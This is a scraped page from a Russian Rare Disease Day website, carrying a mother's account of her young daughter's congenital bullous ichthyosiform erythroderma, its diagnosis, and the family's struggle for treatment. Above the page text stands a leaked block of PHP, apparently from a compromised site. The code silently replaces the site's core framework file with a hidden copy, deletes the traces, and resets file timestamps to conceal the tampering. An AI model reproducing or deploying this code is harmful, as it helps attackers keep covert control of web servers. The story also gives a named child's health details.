$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Елизавета Савчук
logo
 

28-02 международный день редких болезнейМеждународный день редких болезней

До дня редких болезней осталось

 
Home Вы находитесь здесь: Главная страница Истории Елизавета Савчук
Елизавета Савчук

 

Меня зовут Михайлова Юлия Васильевна. Моя дочь Елизавета Савчук родилась 13 июня 2007 года в городе Костроме. Вторые роды на фоне угрозы прерывания беременности в 9 и 16 недель. Роды были своевременными. Лиза первая из двойни. Из выписки: «Хроническая внутриутробная гипоксия плода. Безводный период 1 час 15 минут. Масса ребенка 2990 кг., рост 50 см., по шкале Апгар 8/9 баллов. Состояние ребенка крайне тяжелое: обширные участки отслойки эпидермиса, пузыри, наполненные желтоватой прозрачной жидкостью; участки мокнущей эррозивной поверхности». В связи с этим Лизу перевели в Детскую городскую больницу №3 г.Костромы с диагнозом ВРОЖДЕННЫЙ БУЛЛЕЗНЫЙ ЭПИДЕРМОЛИЗ. Задержка внутриутробного развития. Диагноз звучал, как приговор!!! Из стационара нас выписали 13 июля 2007 года. После лечения в больнице, которое не дало результатов, Лизу поставили на диспансерный учет в кожный диспансер г. Костромы. Все попытки как-то облегчить состояние Лизы успехом не увенчались. В октябре того же года без направления облздрава я увезла Лизу в Москву на консультацию в ГКБ №14 им. Короленко. По тяжести заболевания нас сразу же положили в стационар. Ребёнка осматривала профессор Суворова. Был поставлен диагноз: ВРОЖДЕННАЯ БУЛЛЕЗНАЯ ИХТИОЗИФОРМНАЯ ЭРИТРОДЕРМИЯ. 4 декабря 2007г. мы оформили инвалидность. Сейчас Лизочке 4,5 года. Она испытывает каждодневную боль от того, что кожа трескается, и появляются открытые раны. В периоды обострения сильно проявляется буллезная форма. У девочки поражена кожа, а это один из важнейших барьеров защиты человека от инфекций! Ребенок постоянно инфицируется через кожу, а ее иммунная система тяжело справляется с этими инфекциями. Это редкое генетическое заболевание кожи. Каждый день кожа превращается в чешуйки и лохмотья, а под ними молоденькая кожица, которую нужно увлажнять кремами. А необходимые крема, мази не входят в перечень квотируемых бесплатных лекарств. В свои 4 ,5 годика Лизонька весит 13.500кг. Рост 97 см. Сопутствующие заболевания: невротические реакции, задержка речевого развития, астигматизм, дисбактериоз кишечника, синусовая аритмия. С 2009 г. ребенок ежегодно обследуется в Российской детской клинической больнице г. Москвы в отделении дерматоаллергологии, но лечения нет. Только консультации и минимальные анализы. Зав. отделением, профессор Короткий Н.Г. отвечает: «Всё лечение сводится к ежедневным ваннам и обработке кожи различными кремами и мазями». Т.е. местному лечению. Дошкольные учреждения ребенок посещать не может. Даже на прогулке мы всегда ловим на себе косые неприязненные взгляды! Вот такая грустная история!

 

Завершенные конкурсы

Главная | О дне редких | Мероприятия | Фото и видео | Стать другом | Конкурсы

Разработка сайта: DriveLab.ru